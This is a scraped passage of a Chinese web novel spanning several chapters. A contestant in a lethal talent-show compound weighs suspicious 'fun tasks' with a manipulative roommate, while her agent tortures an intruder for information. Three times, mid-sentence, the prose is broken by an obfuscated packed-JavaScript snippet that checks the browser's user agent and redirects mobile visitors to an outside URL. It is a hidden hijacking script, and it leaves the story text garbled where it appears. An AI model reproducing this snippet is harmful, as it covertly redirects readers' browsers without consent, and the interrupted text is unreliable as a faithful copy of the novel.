想来叶曳也清楚，继续和她纠缠下去没有好处，还不如先行避让，也免得形象崩坏。 不过，她的表现也透露了一些信息。 叶曳说她刚离开就来到宿舍，这一点，林筱不觉得她在说谎，毕竟说谎没有意义。但叶曳针对她的表现，她也不觉得是无的放矢。 也就是说，临时经纪人不一定要与选手见面，也可以远程联系，而联系的办法肯定是通过这个园区实现的，这一点可以让姜时宴去证实。 其次，她们在宿舍的表现必然会被播放出去，并且将会对评委的选择产生较大的影响。 林筱不是没有在叶曳的眼神中捕捉到杀气，只不过最后都被强制压了下去，只为了维护她小白花的形象。 可是，那些评委真的会对小白花类型的选手有额外好感吗？ 林筱可没忘记她在表演时，那带着血腥意味的场地和主持人的挑衅。如果不是评委的倾向，这些就不该存在。 看来，一部分临时经纪人已经对他们负责的选手下手了。 瓶身在力的作用下变形，满溢的纯净水从瓶口溅出，唤回了林筱的部分神志。 看着紧盯着她的摄像头，林筱起身，也回到了自己的房间。 这里是园区内属于选秀选手的宿舍楼。 整栋楼呈金字塔状，上窄下宽。等级高的选手可以独占顶部的大平层，等级低的选手就只能如林筱这样和其他选手挤在一个双人套房内。 而等级，将会在第二次选拔中被评委赋予。 所以现在，所有人都住在双人套房内。但这个双人套房也算不上差。 独立的卧室，虽然空间也就够一张床和一个双开门的衣柜。双人共用的洗浴间和厨房，虽然不能使用明火。以及一个不够宽敞，但勉强也能充当练习室的客厅。 比起下城区，那还是好了不知道几倍。 除了遍布摄像机之外。 林筱的房间内，自然也少不了摄像机，不然她也不会特意挑那么一个地方和姜时宴联系。摄像机除了记录的功能外，也有提示的作用，相当于一个外场的主持人催促着节目进度。 现在，它们就集中在右侧的床头柜上。 那上面多了一张林筱去洗浴间前没有的纸张，简简单单的几行字，却在这些摄像机的簇拥下显得并不寻常。 林筱的脚步顿了一下，还是顺从节目组的意思走了过去，拿起那张纸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073124|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “林筱选手： 为了增进本次选秀的趣味性，在参考评委意见后，节目组临时增加了一项无惩罚任务。完成任务，您可在下次选拔中额外获得10%的人气加成，没有完成任务也不会有任何对您有害的惩罚，但不能将任务告诉任何人。节目组会将所有发生在趣味赛中的精彩片段剪成集锦放映在上城区，期待您的参与。 您的任务是：和您的室友共进一餐。 祝您生活愉快。 节目组留。” 没有惩罚的任务？ 即使不知道节目组的目的，但想到他们之前的做法，林筱也很难不怀疑这个任务背后暗藏着更大的阴谋。 但没有足够的信息，林筱现在也只有两个猜测： 其一，节目组想通过这次任务瓦解选手之间产生友谊的可能。 从任务目标就可以看出，这次趣味赛的对手是同宿舍的室友，也是最可能结伴的盟友。经过这次比赛，双方很难再次产生信任。 其二，节目组在和他们玩文字游戏。 节目组给的纸张上只明确写明不会对做任务的人有惩罚，不代表不会对别人有惩罚。如果确实存在这个惩罚，那么这个惩罚的对象就可能是她的临时经纪人或者她的任务目标。 如果足够机灵，就会有选手选择不完成任务来试探节目组的心思，毕竟没有任何对自己不好的损害。 当然也有一种可能，节目组真的只是想营造一种和谐的氛围来让参赛的选手们放松心情，所以选择的任务才会那么简单。 可谁会信节目组真的那么好心？ 门外，隔壁房间的门被打开，发出一声沉闷的拖拽声。 别看这宿舍里面的东西看着新，但这声音没个十几二十年还发不出来。 隔音差，这又是一个缺点。 不过叶曳似乎并没有意识到这个问题。她重重地关上房门，脚步沉重地来到客厅的位置，似乎陷入了沉思。 她应该也看到了那张纸，对于她的选择，林筱也有些好奇。 没让林筱久等，叶曳站起身，脚步声也越来越重，随后停下。 这是，来到了她门前？ 林筱抬头，果然，那些摄像头感知到了即将有热闹发生，纷纷调转方向聚焦到了门边，但也留下了几个摄像头全方面无死角地记录下她的反应。 是选择让她完成任务，还是完成不了任务？ “咚，咚，咚……” 门被敲了三下，但门外的人却依旧没有开口。 正当林筱疑惑的时候，门外终于传来别扭的声音：“那个，你饿了吗？我叫了餐。别误会，我没有原谅你刚才说我的话，只不过是我点多了，又不想浪费食物，所以才分你一点。” 所以她刚才在门外磨蹭的那功夫就是为了维护她的人设？ 想了无数阴谋论的林筱一时之间也失去了反应的能力。 “不吃就不吃，我还不稀罕。” 等林筱回过神来，叶曳已经带着泣音离开了房门，而她也站在门前，来开了门把手。 林筱叹了口气，但也没收回自己的动作。 就当知道一个自己的弱点吧，她还真的受不住女孩子因为自己而难过，即使她别有用心。 70. 第三个世界8 哭着奔走的叶曳就坐在客厅，冷漠的眼神在看到林筱的那一秒就蓄满了泪水，恰巧就被摄像机捕捉。 即使已经知道对方是个优秀的演员，但林筱还是会为对方的演技而感到叹服。 而叶曳，最擅长的就是表示自己。 “姐姐，这是我亲手为你下的面。”说完，她头颅低垂，轻微颤动，沮丧开口，“只可惜现在都已经涨糊了。” 看着那碗黑乎乎分不出是面皮还是面条的东西，即使顶着叶曳期待的目光，林筱还是毫不留情地拒绝：“你吃吧。” 被推出去的碗孤零零地停留在桌面上，就如同叶曳一般。 她盯着那碗不知名浆糊半晌，面容扭曲了片刻，缓了一会后还是不动声色地推开：“姐姐不想吃也没关系，这里还有我订的餐，这个姐姐总该吃点了吧。” 她指的是地面上两盒便餐，包装袋上还有2食堂的标志。 2号食堂不是距离她们最近的食堂，但却是传闻中口味最好的食堂。这就足以证明，在追求成功的同时，叶曳也追寻着生活的品质。 至于叶曳也收到了任务这一点已经不需要怀疑，唯一需要确定的，就是她的立场。 毕竟她现在这幅积极又不是很积极的样子，实在是让人摸不着头脑。 林筱没动，叶曳却不客气地将自己“辛苦”做成的面扔进垃圾桶，拿出上层的那盒饭，吃了一口：“姐姐放心，这盒饭很好吃。” 林筱挑了挑眉：“我不饿。” 听到这句话的叶曳藏在饭盒下的嘴角烦躁地撇了撇。 “但为了不让你失落，我也可以吃一点。”林筱补上下一句话。 其实，她还挺喜欢对方这种恼怒但又不得不为了人设装作高兴的样子。 她当然知道叶曳刚才那句话的意思，除了表达盒饭的味道确实不错外，也在暗示自己没有在里面做手脚。 她也不觉得叶曳会做手脚。 叶曳既然立了这个人设，那就会被这个人设限制。她无法当着监控的面做出坑害室友的表现，不然就属于人设崩塌，她之前的努力可就都白费了。 虽然叶曳应该不会相信，但她的真实理由确实就是——她还不饿。 不过为了了解节目组的目的，她也不是一点都不能吃。 就在林筱吃下一口的同时，熟悉又陌生的电流声突然响起，直到余光瞥见叶曳因为惊吓而抖了一下的身影，林筱这才意识到不对。 居然不是系统。 【恭喜两位选手完成本次趣味任务（一），与室友共进一餐。下面颁布阶段性趣味任务（二）：和室友一起打卡园区内两处地标建筑。 选手可自由选择完成任务或不完成任务，任何选择都没有惩罚措施。完成所有阶段任务，即可解锁奖励，期待各位选手的参与。】 “啧。” 林筱扭头。 虽然她也怀疑这个声音是自己发出的，但她更相信自己的判断，相信这个声音来自她的耳边。 看来节目组的这一招把叶曳也弄得破防了。但要是换做她自己，她也是一样的反应，只不过她动作没有叶曳快而已。 她提防了叶曳，也提防了文字游戏，却没想到节目组把文字游戏设在了这里。用简单的游戏任务先吸引了注意，让人忽略了任务的数量，再利用沉没成本的效应吸引选手一步步完成他们的任务。 任务的难度必然逐步加大，但等到选手无法完成时，差不多就是倒数第一二个任务了。节目组肯定会诱惑选手继续完成，选手们也难以放弃近在咫尺的任务奖励，只能按照节目组的要求做出交换。 林筱的这段猜测也并非毫无根据。 她记得姜时宴说过，那些临时经纪人为了竞标自己心仪的选手，会和节目组做出交易。没道理节目组只会和临时经纪人交易，而放过他们这群大好的肥羊。 所以这个任务从头到尾就是个陷阱。如果要放弃，前面几个最简单的任务就是最好的时机。 但放弃，也没有那么简单。 因为节目组选择了捆绑。 在任务的奖励中，节目组已经透露下一次选拔的考核要点：人气。而房间内遍布的摄像头也告知了他们此刻的处境：他们每时每刻的表现都会成为他们成绩的一部分。 节目组颁布的任务都需要和室友一起完成，即使有人看透节目组的目的，他也还需要说服室友和他一起行动，避免发生争执，甚至让观众对他们产生负面印象。 在人气的压力下，会有更多的人不得不加入这个趣味任务。 可真是趣味，只不过得到趣味的却不是他们这些选手。 “姐姐怎么不吃了？” 那声嫌弃只是叶曳的一时大意，眼下反应过来，再加上当时的口型被饭盒遮掩，所以她假装无事发生般继续维持自己的人设委委屈屈问道。 林筱笑了一下。 这句话，就很有意思。 它既可以衔接去做任务的话，也可以衔接不做任务的话，看似把主动权放在林筱手中，但实际上依旧试图掌控决定权。 不讨喜，但也还算安心。 毕竟在这个地方，和聪明人当室友活下去的概率更大。 “看叶小姐吃得香，不忍心动了。” 这也是在表明她的态度。 叶曳之前可是想要完成任务的人，她只不过是勉强配合，但也不打算继续配合。 “没关系的，姐姐。”叶曳抬起头，俏皮地眨了眨眼，“我胃口很小的，你不用怕。” 胃口未必小，但至少聪明。 “那我就放心了。”林筱咽下了第二口菜。 “姐姐是下城区哪的人？” 关于任务，两人达成一致，但叶曳也不让自己闲着，有意无意地打探消息。 “询问来处有意义吗？”林筱扭头，直直地看着叶曳，“我只需要肯定，我会成为上城区的人就行。” 叶曳没有回避林筱的视线，俏皮地眨了眨眼：“那我可以和姐姐当邻居了哎。” 这是示好。 她们也可以不成为你死我活的竞争对手，毕竟最后的出道位也不仅一个。 “你……” “嘀-嘀-嘀-” 林筱的视线向下，看着那个打断她说话的黑色盒子。 那是一个只有巴掌大的黑色不透明固体，黑白显示屏占据了它的1/4面，剩下的面积却只能看见一个鲜红如血色的按钮。 叶曳也注意到林筱的视线，举起那个不断发出提示音的盒子：“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林筱打开了房门。 虽然房间内的隔音不行，但对于房间外的动静，它的隔音效果却又出乎意料得好。所以林筱和叶曳完全没有察觉到过道上居然已经那么热闹。 虽然选手们住在同一栋楼，但宿舍是男女分开的，一层楼一个性别，单双层的电梯和楼梯都是错开的，并不直接相连。 这一层楼大概二十个房间，而在走廊上的人就有十几个。看上去只有一半不到，但实际上这些已经是剩下的一波人了。 这还是在她们已经在较高楼层的前提下。 电梯正在从一楼往上升起，在走廊上排队的人也开始焦躁不安地左右扭动，却没有人就顺序问题吵起来。 首先排除大家个人素质较高的这个可能性。 看着地面上零碎的衣服布料和干涸的血迹，已经地毯上还没有被磨平的拖拽痕迹，毫无意外，节目组的工作人员出手了。 嗯，这里的工作人员应该也挺喜欢这个趣味赛的，这样他们就可以光明正大地淘汰人。 “姐姐，你在看什么？”叶曳的声音从林筱的身后响起。 林筱侧身让出一片空间，让叶曳能够看清外面发生的一切。 但叶曳只是冷漠地扫了一眼，很快就略过外面这些人，对着林筱和屋内的摄像机露出自己最完美的侧颜：“姐姐～我的经纪人让我在节目里表现得积极一点，但我最不耐烦做任务了。 “可我又不敢不听她的话。 “所以我想， “要不，我们不做任务，我们去做路人，我们去蹭他们的镜头怎么样？” 71. 第三个世界9 狭窄的洗浴间内，姜时宴擦拭着身上的血痕。粗糙的纤维从伤口上划过，肌肉不自觉地瞤动，但最该感受到痛觉的人却冷不丁笑了出声。 笑声在空旷的洗浴间内扩散，明明是恒温，却让人感觉到从脚底攀着脊骨而上的冷意。 很快，姜时宴就草草包扎好伤口，随意披上件浴袍就走出了门外。 门外犹如刚被狂风席卷而过，留下伤痕累累的沙发和地板，以及奄奄一息的人。 察觉到姜时宴的出现，趴在地上的人神志有了一瞬间的清醒。他咬着舌头努力维持着理智，被打断的四肢全靠意志扭曲地后退。 或许是几分钟，或许是只有几秒，他已经看到了一双脚，但他却距离原来的位置还是只有一个指甲盖的距离。 他费劲全身力气的努力，换来的也只是停留原地。 他绝望地闭上眼。 对于现在的他来说，最好的结局就是立即死亡。多活一秒，都是对他的折磨。 那双脚的主人停留在他的面前，没有如他想象般地进行下一波折磨，而是坐在那个破破烂烂的、露出里面芯子的棉质沙发上，冷冷地看着他。 沉默的时间越久，越是对他的折磨：“我已经把什么都说了！” 他以为他很大声，但其实发出的声音也不过比蚊子叫大一点，甚至没有布料摩擦的声音大。 他忍不住浑身战栗。 他会死的，会生不如死的。 对面的人就是个疯子！ 如果可以，他肯定不会选择招惹他！ 想到这里，他忍不住对他的那位邻居哥哥产生浓厚的恨意。要不是他的建议，他也不会冒险闯入别人的宿舍，更不会被反杀，沦落到现在这样的境地。 是，他是胆小，他不敢对姜时宴产生任何恶意的想法，只能把自己的遭遇都怪罪在那位邻居哥哥身上。但那位邻居哥哥就没有错吗？他找上门的时候，不就是想利用他来探路吗？ 他的眼神在疯狂与绝望中不断徘徊，但更多的，是求生的本能。 如果不是为了活着，他根本就不会留在这个吃人不吐骨头的园区内。 大概人快死了就容易回忆，他也不自觉想起来从前。 曾经，他也是选秀的选手之一，也曾站在那个舞台去竞争最后的出道位。只可惜，出道九人，他是第十一位，比名落孙山还要再差一位。 园区内只进不出，为了活下去，他“自愿”签署了劳动协议，被冰冻后成为经纪人备选再次出现在园区内活动。 他们这些工作人员都很清楚，他们都是“一次性用品”。只要在这次选秀没法出去，他们就都会被处理，而园区则会迎来下一批工作人员。 他的前邻居哥哥就是在他最焦虑的时候出现的。 邻居哥哥之所以是前，就是因为在他小的时候他们一家就已经搬到了中城区。所以当邻居哥哥说出他有内幕消息的时候，他是相信的，即使他猜到对方不会不缘无故示好。 即使他们都在第一轮被淘汰。 是邻居哥哥告诉他，这一次失败并不代表真的失败。只要夺得别人的经纪人身份，他照样可以通往下一关卡。也是邻居哥哥告诉他，姜时宴看着病弱还不熟悉规则，是最容易下手的对象。 而他，就那么全盘接受了邻居哥哥的建议。 这也是他最后悔做出的决定。 明明他已经做出了万全的准备，他甚至还向园区购买了装备。但凡他找的不是姜时宴，他几乎就有百分百的胜率！ 可惜，他找的就是姜时宴，这个疯子。 姜时宴明明已经发现了他的存在，却还是若无其事地紧锁房门，甚至非要等到自己中了一刀后才开始反击。 他的每一步都看似距离成功越来越近，但那都是姜时宴给他的错觉，这个疯子只不过是更享受把人玩弄在股掌之间的快感。 毫无悬念，他一败涂地。 但那只是他苦难的开始。 也不知道这个姜时宴从哪里掌握了一整套古代酷刑的方法与技巧，因地制宜地运用到他的身上，让他求生不能求死不得。 他甚至不知道自己为什么还活着，明明对方已经得到了他想要知道的一切。 沙发与布料摩擦的声音将他从回忆中拉回。 他以为对方没有听见他的声音，但事实上，对方不仅听见了，还听得很清晰：“我想您误会了。我并不想向您了解关于你们内部的派系纠纷，我只是需要一个人来教我做一个合格的经纪人，而恰好，您就是那个最合适的人选。” 语气温和，气息绵长，听不出受伤的迹象。 如果那个伤不是他亲手留下的，他也会被姜时宴蒙骗。 要么这个人感知异于常人，要么就是他忍耐力非同寻常，但不管是哪一个，都证明对方不是好对付的人。 他再次为自己的草率而后悔。既然知道邻居哥哥不怀好意，他就该自己选择对象，而不是因为对方外表看上去文弱而觉得对方好欺负。 “你也不知道吗？再找个人虽然麻烦，但也不是做不到。” 姜时宴听上去有些苦恼的话吓得他猛地一个激灵。 之前也是这样，他正打算投降，就因为一个恍惚他错过了最好的时机后，对方也是用这种语气笑眯眯地让他又体验了好几种酷刑。 有了前车之鉴，他甚至不敢等姜时宴说出第二句话，忙不迭地开口：“我知道，我知道！” 即便他不知道，现在也必须说知道。 他还想活着，只要活着，他就还有希望，一旦死了，那就真的什么也没有了。 姜时宴没有开口，他知道，这是对方给他的机会。 “当经纪人，首先需要选择有潜力的培养对象。”他咬着唇焦躁地思索着怎么将这个疯子糊弄过去，鲜血染红了牙齿，但他却毫无所觉，“在第一场选拔结束、第二场选拔开始前，经纪人可以考察并掠夺任意选手。当选手晋级第二次选拔后，经纪人才可以转正拥有更多的权利。” “在第三次选拔赛前，经纪人可以代替选手做出选择，不过是表演的节目还是服化道，但只能同时选择一种。 “等到第四次选拔，经纪人会拥有和选手同台表演的机会。只要让评委认定经纪人才是选手，那么您就可以取代选手争夺出道位。” 这也是他们最常规的操作。 汗水混合着血丝滴落在瓷砖上，他已经开始喘着粗气，浑身的力气都在这沉默中被一点一点抽去。 “我要做的，是一个合格的经纪人。” 就在他几乎以为自己要窒息的时候，冷凝的空气突然开始流动，姜时宴这才慢吞吞地开口。 谁来到这里就想当个单纯的经纪人的？ 即使心里有再多的吐槽，他也只能腆着一张脸赔笑：“是，是我没听清。 “经纪人，需要给选手安排好成长路线。呃，临时经纪人可以兑换单向联络器，能够及时提醒选手躲避危险。就比如第一次选拔结束后的趣味比赛，能不参加还是不参加好。” 但是他一个奔着出道位来的人又怎么知道经纪人怎么做？ 他当时的经纪人也只想害他的命啊！ 所以他只能把前不久培训课的内容用自己的话再总结一遍，忐忑不安地等待对方的回应。 然而， “单向联络器？” 姜时宴居然真的不知道。 他没听课吗？ 这句话他也就只敢在心里嘀咕，甚至还会娱乐性地想到和对方相比他又多了一个优点。但至少在口头上，他还是表现出积极指引的态度。 虽然这并不会改善他的现状，但至少也不会恶化。 “您可能不太了解，这个单向联络器需要经纪人申请才会送到对应的选手手中。”他语气谦卑，“如果您需要，我可以帮您操作。” 姜时宴沉吟：“可。” 看着一副有文化的样子，却连那么简单的操作都不会，估计连学都没上过，难怪没听到单向联络器，怕是根本听不懂吧。 他一边在心里吐槽，一边感谢姜时宴赐下的止痛药，一边勤勤恳恳地递交申请。 在他的指导下，姜时宴拨通了联络器。 * 女性选手宿舍楼。 林筱和叶曳刚踏出房门一步，电梯旁排队的人就齐刷刷地扭头看着她们。 那是一种古怪而协调的诡异眼神，似人非人，是独属于选秀节目的恐怖谷理论。 即使她们都很清楚，这些人都是千真万确的人类。 林筱后退一步。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073126|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那些人的动作虽然没有变化，但至少林筱没再察觉刺痛的目光。 “姐姐们，”叶曳娇娇弱弱地对着她们撒娇，“你们别担心，我们不是来破坏你们的，而是来加入你们的。” 但叶曳擅长的在此刻似乎并不完全起效。虽然她们收回了自己的视线，可也没有理睬林筱她们。 叶曳发出微不可查的不耐烦声。 比起电梯前的繁忙，楼道显得格外冷寂。没人，更没有声音。 以至于她们踏上楼梯也没人阻拦后还有些不太习惯。 “你们……”她们的身后，传来一道犹豫的声音，“算了。” 想说的人总会说完，不想说的人不会开口，这种说到一半又吞回去的，八成就是蓄意勾引。 这么拙劣的技巧，林筱， 自然接下了。 她只是不敢高估她们的智商，生怕她们就因此真的放弃了。 “这个楼梯有问题？”林筱转过身，看着站在队伍的中间、恰好靠近楼梯的女人。 女人的表情为难，带着犹豫和怜悯，叹了口气：“我本来不想说的，但又怕你们在不知情的状况下失去参加游戏的身份。这个楼梯，只要踏上就不能参与之后的趣味赛了。” 与其说怜悯，倒不如说是得胜者的傲慢。 但可惜的是，她的想法注定不会实现。 “哦。”看着众人不解与迷惑的神情，林筱才补充道，“我们本来也不打算参加。” 所以这个惩罚对她们来说毫无作用。 走廊内再次陷入了寂静，但和之前不同，这次她们是真的呆滞。 就算任务很难，但那可是10%的人气加成，完全可以成为绝地反击的杀手锏，怎么会有人不想要呢？ 她们肯定是因为知道不能参赛才那么说的吧！ “那，那也挺好的。”女人勉强地笑了下，没了下文。 恰好电梯在此时停留，女人随着队伍向前，消失在林筱她们眼前。 “哎，还是姐姐好，只有姐姐肯陪我。”叶曳故作娇柔地靠在林筱身上抱怨。 “那你的姐姐可太多了。”林筱瞥了她一眼，拖着她就往下走。 就这么磕磕绊绊的，她们也不算最晚下来的那一波。 毕竟林筱还看见了之前说话说一半的人。 “我们要不要去问一下那个姐姐需要什么帮助？”叶曳扯着林筱的袖子细声细气地询问。 但林筱很确定，叶曳是在幸灾乐祸。 那人和她的室友就站在宿舍大楼前，两个人手舞足蹈的，唾沫几乎都能具象化，可见争执之激烈。 这时候她们俩出现，那就是凑热闹。 但，也不是不行。 就在她们准备迈出宿舍楼的时候，安置在门前仿佛一个摆设的机器却突然亮起了红灯，林筱面前的机器猛然卡住通道口，不再允许她外出。 林筱只能转身寻找宿管。 选秀这才刚开始，她还什么都没来得及做，总不能是这里的管理未卜先知，提前阻止她做坏事？ 宿管头也没抬：“56号？你的临时经纪人委托我转交你的联络器。” 熟悉的黑色盒子出现在林筱的面前，单调的显示屏上跳跃着她的编号。 看来这段时间姜时宴那边也有了新的进展。 也不知道是不是心有灵犀，林筱这边才接手，那边的电话就过来了，伴随着冷硬无趣的声音：“不要参加趣味赛。” “没参加。”这个联络器的功效和它的外表一样落后，奇异的电流声已经完全掩盖姜时宴自身的声音，至少林筱判断不出，只是根据常理推断。 但这也有可能是特意设计的，只为了掩饰经纪人之间的替换。 说不定，现在和她对话的就不是姜时宴呢？ 取到了东西，林筱顺利走出了宿舍楼。 经纪人对选手的影响还是太大了，光强制留在宿舍这一招就可以坑害不少选手。 提前出来的叶曳已经和她们聊了起来，看到林筱出来也不惊讶，只是热情地招呼她过去：“姐姐，她们热情地邀请我们旁观趣味赛哎！我想去，姐姐你呢？” “可以。” “别去！” 两个声音同时在联络器的两边响起。 72. 第三个世界10 联络器的那端传来轻微的叹气声，在嘈杂的电流中若隐若现，几乎捕捉不到。 “看来我们没有默契。”林筱目视着远方，眼神中闪过不易察觉的心虚。 “林筱，在你眼里，我是什么样的人？”即使隔着嘈杂的电流音，姜时宴语气中的不满依旧能够清晰地传达到林筱耳中。 “我承认，我算不上好人。”姜时宴缓缓道，“却也不是会背弃承诺的小人。既然奉你为主，我自会竭尽所能。” 他能理解林筱所担忧的，但没必要，他们现在是利益共同体，伤害了林筱对他也没有好处。 “如果你需要，可以向系统申请道具限制我。”姜时宴看着自己逐渐被染红的纱布，没有理会脚底满眼惊惧的男人，难得面无表情道，“而不是用这种方式表达自己的不信任。” “呃，”林筱看着只有按键是鲜亮红色的黑白机子，即使知道姜时宴什么也看不见，还是忍不住心虚地摸了摸自己的鼻子，“我做出这个选择，其实，和你没有关系。 “我只是习惯而已。” 习惯将责任背负在自己一个人身上，习惯争取利益最大化，哪怕会受重伤，只要不死就行。 甚至在做出这个选择之前，她都没有考虑过安全问题，更别提信不信任了。 因为她知道自己不会死，哪怕死亡也不是真正的终点。更何况她还有一份系统通关秘籍，哪怕真的到了最危急的时刻，她也可以全身而退。 她只是习惯性地想要赌上一把。 所以她心虚，真的只是因为她又下意识地忘记了自己现在还有个同伴。 对于两个都没有互相透底、勉强绑在一起的人，信任始终是他们之间最大的难题。 姜时宴没有说信，也没有说不信，现在聊这些也没有意义。 他看着脚底宛若搁浅杂鱼般拼命瞪眼喘息的男人，低垂着眼眸，看着被擦拭得更加污浊的地面：“组队模式下，任何人都可能成为替罪羊。” 这就是姜时宴从他的渠道获得的消息了。 林筱不是没有注意到另一边的呜咽，但她的同伴是姜时宴，她自然更相信他的手段：“我会注意的。” 过了一会，她补充道：“死不了。” 回应她的，是电子无情的“嘀嘀”声。 姜时宴把通讯挂断了。 虽然口头上没有表示，但看起来，姜时宴还是没有消气。 有点可爱。 林筱不自觉地摸了摸除了她没有人能看见的玩偶。 虽然生气但还是会将搜集到的信息传递给自己，从某种意义上讲，的确是林筱更倾向于合作的那种类型的人。 第一次养同伴，她也没经验，不知道能不能养好。 她轻轻叹了口气，迎着叶曳的目光，收起联络器：“走吧，别让她们久等了。” “看来你和你的经纪人关系不错？”叶曳在前方蹦蹦跳跳着，看似漫不经心地开口道。 林筱当然知道自己刚才的行为会受到怀疑，但她没有说出格的话，顶多就是和叶曳猜测的那般被人怀疑与经纪人感情融洽，所以她干脆不遮掩：“我们那批选手结束得早，所以我和我的经纪人见过一面。” 通俗意义上来讲，见过一面总比完全没见过面的人更容易产生信任，所以林筱的行为也算是有了牵强的证据。 “真是羡慕姐姐啊。”叶曳脚步没停，“我也想知道我的经纪人帅不帅！” “你们还有很长的时间可以交流感情。” 很寻常的话，却止住了叶曳的步伐。 她侧过身子看向身后的林筱，突然腼腆地抿了抿唇：“姐姐对我这么有信心吗？” 像是只柔弱无助的小兔子，只可惜牙齿太利，能咬穿钢板，不适合圈养。 但林筱突然有了爱屋及乌的柔情：“一直都有。” “那好吧，”叶曳若有所思地点了点头，“那我可不能让姐姐失望了。 “就先从和经纪人见上一面开始吧。” 从叶曳的表情上看，这个见面将会有和谐友好的氛围，但这是镜头下的叶曳。 一个完全虚构的“叶曳”。 所以那将是对其他选手的掠夺。 “如果你能得到更多的镜头，”林筱并不介意出谋划策，“或许你的心愿就可以提前实现了。” “有道理哎。”叶曳露出一个可爱的笑容，欢快地向着不远处的两人走去。 怎么获得有效镜头？ 当然是足够抢眼、更有戏剧性的表现。 “你好。” 等到林筱走过去时，叶曳已经把该交代的都交代清楚了。 出声的是两人中个子更高的那个，看着瘦削，但肌肉很紧实，拥有不错的爆发力。相对来说，那个看上去结实的矮个子脚步却更轻浮，就像绷紧的气球，轻轻一戳就可能破碎。 高个子挂着友善的笑容，说实话，还没有楼道那会看着顺眼：“小叶子已经和我说了你们的想法。” 林筱挑眉看着叶曳，对方却只是甜甜一笑，没否认：“是的。” “虽然你们应该知道，但我还是需要强调一下。”高个子一脸严肃，“你们已经选择走楼梯，这场趣味赛就和你们没关系了。我们同意让你们加入只是为了让你们也能体验到游戏的乐趣，但你们是无法获得任何游戏奖励的。” “艾姐，这些我们都知道的。”还没等林筱开口，叶曳已经抱着高个子的手臂撒起娇来，“我们就是好奇而已。” “那行。”高个子看着这两个并不强壮的对手，“我们的时间不多了，所以第一个打卡点就选在宿舍楼。” 是的，根据地图上的指引，宿舍当然也是地标建筑。 “照相机在哪？” 凑近之后，林筱才发现她们俩人身上有股浓郁到发臭的香味，就像是对嗅觉的一场谋杀。但在楼梯间时，她可以确定她们身上并没有这个味道。 林筱不觉得她们会做没有意义的事情，如果有她不能理解的事情发生，那只能证明她们之间存在信息差。 这俩人，知道的比她预想的还要多一些。 她假装察觉不到她们身上的异样，用一名被帮助者理应回报的语气自然地提议：“我可以帮你们拍照。” 飞蝇在空中飞舞，或许是绿化率太高，这里的小生物并不少。 刺鼻的味道理所当然地吸引到它们的停驻，但高个子没有理会：“不需要拍照，只要按照要求摆出动作就行，节目组会自己捕捉选手的行为。” 看来这个世界打卡的常见方式也是拍照，使用的工具也是相机，从中、下城区的生活来看，他们两个世界的科技水平没有太大差别。 试探出信息的林筱还来不及喜悦就觉得身上的目光开始变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073127|163309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼热，而这道目光的主人，就是矮个子。 和高个子不同，在这短短的相处时间内，她没有说过一句话，甚至连呼吸的声音都很微弱。 不是病弱的那种，而是一种技巧性的隐藏自己的手段。 所以这才让她此刻的表现格外异常。 “我说错了什么吗？”林筱顶着这样的目光不解地问道。 “没有。”矮个子的声音沙哑，是少见的女低音，“只是发现觉得眼熟。你住在￥#区605号吗？” ￥#并没有被系统翻译出来，这也是林筱第一次听见这个世界的本地语言。 她不知道这是系统故意留下的漏洞，还是系统出现了问题，但她可以肯定的是，如果她在此刻出现纰漏，这个世界的居民可不会友善。 “不好意思，你大概认错人了。”林筱不动声色地否认，“我也从没听说过这个区。” 矮个子脸上的狂热逐渐消退，半晌，她才兴致缺缺地开口：“是我认错人了。” “你们在说什么？”叶曳在此刻突然冒出头来，“有选好什么姿势吗？” “你们看不到姿势的要求吗？”矮个子皱着眉问道，指了指空无一物的半空。 虽然林筱和叶曳很努力想看清，但看不清的永远都看不清。 看到她们摇头，矮个子顿时无趣地垂下头：“我们面前有任务提示，看来只有参赛选手知道。” 果然，刚才是对她的试探。系统既然无法翻译，很大概率是这个词对她没有意义。如果是涉及她的身份，就不该无法翻译。 所以她又赌了一把，赌对方是在试探。 但这个世界，还有很多她需要确定的信息。 叶曳依旧很活蹦乱跳：“那就抓紧时间开始吧，不然就要落后别人好几个任务啦！” 刚想开口的高个子瞬间就被叶曳的话噎了回去。 她古怪地看着叶曳，一时之间不清楚到底谁才是任务的执行者。 “现在留下的人不多，我们就在门口打卡。” 叶曳看了眼四周，满意地点了点头：“可以啊。” 这下，就连矮个子的表情都要些微妙。 怎么感觉被反客为主了？ 但有更重要的事情在前，她们也没计较叶曳抢镜头的表现：“你们要先体验一下吗？等我们拍完，可不会在这里停留了。” 